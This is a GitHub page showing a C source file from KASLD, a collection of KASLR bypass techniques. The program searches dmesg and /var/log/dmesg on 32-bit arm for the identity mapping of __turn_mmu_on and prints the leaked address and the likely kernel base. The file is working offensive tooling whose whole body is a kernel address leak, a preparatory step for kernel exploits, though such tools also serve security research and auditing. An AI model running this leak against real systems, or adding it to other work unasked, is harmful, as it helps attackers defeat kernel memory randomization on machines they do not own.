-
Notifications
You must be signed in to change notification settings - Fork 47
/
dmesg_mmu_idmap.c
126 lines (101 loc) · 2.89 KB
/
dmesg_mmu_idmap.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
// This file is part of KASLD - https://github.com/bcoles/kasld
//
// Search kernel log for identity mappings created during kernel init.
//
// On arm systems with CONFIG_MMU=y, an identity mapping is created for
// the `__turn_mmu_on` function when enabling the MMU during kernel init.
//
// On 32-bit arm systems, the `identity_mapping_add()` function prints
// mappings to the kernel log.
//
// Requires:
// - CONFIG_MMU=y
// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities; or
// readable /var/log/dmesg.
//
// References:
// https://elixir.bootlin.com/linux/v5.15.11/source/arch/arm/mm/idmap.c#L89
// https://elixir.bootlin.com/linux/v5.15.11/source/arch/arm/kernel/head.S#L237
// https://github.com/torvalds/linux/commit/8903826d0cd99aed9267e792d38284cf3092042b
// https://github.com/torvalds/linux/commit/2c8951ab0c337cb198236df07ad55f9dd4892c26
// https://github.com/torvalds/linux/commit/4e8ee7de227e3ab9a72040b448ad728c5428a042
// ---
// <[email protected]>
#define _GNU_SOURCE
#include "include/kasld.h"
#include "include/syslog.h"
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
unsigned long search_dmesg_mmu_idmap() {
char *addr_buf;
char *syslog;
char *ptr;
char *endptr;
char *substr;
int size;
const char *needle = " static identity map for ";
unsigned long addr = 0;
printf("[.] searching dmesg for '%s' ...\n", needle);
if (mmap_syslog(&syslog, &size))
return 0;
substr = strstr(syslog, needle);
if (substr == NULL)
return 0;
addr_buf = strtok(substr, "\n");
if (addr_buf == NULL)
return 0;
ptr = strtok(addr_buf, " ");
while ((ptr = strtok(NULL, " ")) != NULL) {
addr = strtoul(&ptr[0], &endptr, 16);
if (addr >= KERNEL_BASE_MIN && addr <= KERNEL_BASE_MAX)
break;
addr = 0;
}
return addr;
}
unsigned long search_dmesg_log_file_mmu_idmap() {
FILE *f;
char *endptr;
char *line = 0;
char *ptr;
char *addr_buf;
size_t size = 0;
const char *path = "/var/log/dmesg";
const char *needle = " static identity map for ";
unsigned long addr = 0;
printf("[.] searching %s for '%s' ...\n", path, needle);
f = fopen(path, "rb");
if (f == NULL) {
perror("[-] fopen");
return 0;
}
while ((getline(&line, &size, f)) != -1) {
addr_buf = strstr(line, needle);
if (addr_buf == NULL)
continue;
ptr = strtok(addr_buf, " ");
while ((ptr = strtok(NULL, " ")) != NULL) {
addr = strtoul(&ptr[0], &endptr, 16);
if (addr >= KERNEL_BASE_MIN && addr <= KERNEL_BASE_MAX)
break;
addr = 0;
}
}
free(line);
fclose(f);
return addr;
}
int main() {
unsigned long addr = search_dmesg_mmu_idmap();
if (!addr)
addr = search_dmesg_log_file_mmu_idmap();
if (!addr)
return 1;
printf("leaked __turn_mmu_on: %lx\n", addr);
printf("possible kernel base: %lx\n", addr & -KERNEL_ALIGN);
return 0;
}